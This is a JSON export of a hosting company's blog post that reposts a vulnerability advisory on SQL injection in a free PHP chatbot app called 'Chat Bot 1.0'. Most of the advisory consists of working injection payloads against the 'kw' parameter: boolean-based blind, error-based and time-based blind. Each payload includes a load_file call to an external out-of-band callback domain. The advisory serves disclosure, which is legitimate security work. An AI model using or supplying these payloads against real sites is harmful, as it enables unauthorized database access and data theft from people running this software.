{"id":56997,"date":"2024-05-22T19:30:18","date_gmt":"2024-05-22T15:30:18","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178655\/chatbot10-sql.txt"},"modified":"2024-05-22T19:30:18","modified_gmt":"2024-05-22T15:30:18","slug":"chat-bot-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/chat-bot-1-0-sql-injection\/","title":{"rendered":"Chat Bot 1.0 SQL Injection"},"content":{"rendered":"<p>## Titles: Chat Bot &#8211; PHP (by: oretnom23 ) v1.0 Multiple SQLi<br \/>## Author: nu11secur1ty<br \/>## Date: 05\/22\/2024<br \/>## Vendor: https:\/\/github.com\/oretnom23<br \/>## Software:<br \/>https:\/\/www.sourcecodester.com\/php\/15316\/chatbot-app-suggestion-phpoop-free-source-code.html<br \/>## Reference: https:\/\/portswigger.net\/web-security\/sql-injection<\/p>\n<p>## Description:<br \/>The `kw` parameter appears to be vulnerable to SQL injection attacks. The<br \/>payload &#8216;+(select load_file(&#8216;\\\\\\\\<br \/>3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\\\rvo&#8217;))+&#8217; was submitted<br \/>in the kw parameter. This payload injects a SQL sub-query that calls<br \/>MySQL&#8217;s load_file function with a UNC file path that references a URL on an<br \/>external domain. The application interacted with that domain, indicating<br \/>that the injected SQL query was executed. The attacker can get all<br \/>information from the system by using this vulnerability!<\/p>\n<p>STATUS: HIGH- Vulnerability<\/p>\n<p>[+]Exploits:<br \/>&#8211; SQLi Multiple:<br \/>&#8220;`mysql<br \/>&#8212;<br \/>Parameter: kw (POST)<br \/>Type: boolean-based blind<br \/>Title: OR boolean-based blind &#8211; WHERE or HAVING clause (NOT)<br \/>Payload: kw=Write your query here&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\\\rvo&#8217;))+&#8221;) OR NOT<br \/>5452=5452&#8211; yJrL<\/p>\n<p>Type: error-based<br \/>Title: MySQL &gt;= 5.0 AND error-based &#8211; WHERE, HAVING, ORDER BY or GROUP<br \/>BY clause (FLOOR)<br \/>Payload: kw=Write your query here&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\\\rvo&#8217;))+&#8221;) AND (SELECT<br \/>6898 FROM(SELECT COUNT(*),CONCAT(0x717a6a7171,(SELECT<br \/>(ELT(6898=6898,1))),0x717a6b7171,FLOOR(RAND(0)*2))x FROM<br \/>INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&#8211; ugYc<\/p>\n<p>Type: time-based blind<br \/>Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br \/>Payload: kw=Write your query here&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\\\rvo&#8217;))+&#8221;) AND (SELECT<br \/>3334 FROM (SELECT(SLEEP(7)))MjoP)&#8211; WPgB<br \/>&#8212;<br \/>&#8220;`<\/p>\n<p>## Reproduce:<br \/>[href](https:\/\/www.patreon.com\/posts\/chat-bot-php-by-104709713)<\/p>\n<p>## Proof and Exploit:<br \/>[href](<br \/>https:\/\/www.nu11secur1ty.com\/2024\/05\/mvogms-by-oretnom23-v10-multiple-sqli_22.html<br \/>)<\/p>\n<p>## Time spent:<br \/>01:19:00<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Titles: Chat Bot &#8211; PHP (by: oretnom23 ) v1.0 Multiple SQLi## Author: nu11secur1ty## Date: 05\/22\/2024## Vendor: https:\/\/github.com\/oretnom23## Software:https:\/\/www.sourcecodester.com\/php\/15316\/chatbot-app-suggestion-phpoop-free-source-code.html## Reference: https:\/\/portswigger.net\/web-security\/sql-injection ## Description:The `kw` parameter appears to be vulnerable to SQL injection attacks. Thepayload &#8216;+(select load_file(&#8216;\\\\\\\\3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\\\rvo&#8217;))+&#8217; was submittedin the kw parameter. This payload injects a SQL sub-query that callsMySQL&#8217;s load_file function with a UNC file &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56997","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56997","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56997"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56997\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56997"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56997"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56997"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}